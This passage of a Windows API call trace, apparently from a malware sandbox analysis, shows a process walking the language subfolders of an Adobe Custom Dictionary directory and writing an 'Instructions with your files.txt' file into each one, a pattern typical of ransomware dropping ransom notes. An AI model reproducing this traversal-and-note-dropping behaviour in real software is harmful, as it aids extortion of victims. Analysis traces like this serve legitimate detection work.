[0130.896] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut") returned 109
[0130.896] GetProcessHeap () returned 0x810000
[0130.896] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0130.896] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\*") returned 111
[0130.896] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0130.897] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\.") returned 111
[0130.897] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.897] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\..") returned 112
[0130.897] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.897] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\Instructions with your files.txt") returned 142
[0130.897] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\dut\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0130.897] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0130.898] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0130.898] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0130.898] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0130.898] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0130.899] CloseHandle (hObject=0x124) returned 1
[0130.899] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0130.899] GetProcessHeap () returned 0x810000
[0130.899] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0130.899] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eng", cAlternateFileName="")) returned 1
[0130.899] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng") returned 109
[0130.899] GetProcessHeap () returned 0x810000
[0130.899] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0130.899] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\*") returned 111
[0130.899] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0130.899] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\.") returned 111
[0130.899] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.899] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\..") returned 112
[0130.899] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.899] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\Instructions with your files.txt") returned 142
[0130.899] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\eng\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0130.899] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0130.900] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0130.900] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0130.901] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0130.901] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0130.901] CloseHandle (hObject=0x124) returned 1
[0130.902] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0130.902] GetProcessHeap () returned 0x810000
[0130.903] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0130.903] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="frn", cAlternateFileName="")) returned 1
[0130.903] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn") returned 109
[0130.903] GetProcessHeap () returned 0x810000
[0130.903] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0130.903] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\*") returned 111
[0130.903] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0130.903] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\.") returned 111
[0130.903] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.903] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\..") returned 112
[0130.903] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.903] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\Instructions with your files.txt") returned 142
[0130.903] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\frn\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0130.903] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0130.904] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0130.904] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0130.904] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0130.905] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0130.905] CloseHandle (hObject=0x124) returned 1
[0130.905] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0130.905] GetProcessHeap () returned 0x810000
[0130.905] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0130.905] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="grm", cAlternateFileName="")) returned 1
[0130.905] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm") returned 109
[0130.905] GetProcessHeap () returned 0x810000
[0130.905] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0130.905] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\*") returned 111
[0130.905] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0130.905] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\.") returned 111
[0130.905] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.905] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\..") returned 112
[0130.905] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.905] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\Instructions with your files.txt") returned 142
[0130.905] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\grm\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0130.906] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0130.906] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0130.907] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0130.907] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0130.907] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0130.907] CloseHandle (hObject=0x124) returned 1
[0130.907] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0130.907] GetProcessHeap () returned 0x810000
[0130.907] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0130.907] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="itl", cAlternateFileName="")) returned 1
[0130.907] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl") returned 109
[0130.907] GetProcessHeap () returned 0x810000
[0130.907] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0130.907] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\*") returned 111
[0130.907] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0130.907] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\.") returned 111
[0130.907] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.907] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\..") returned 112
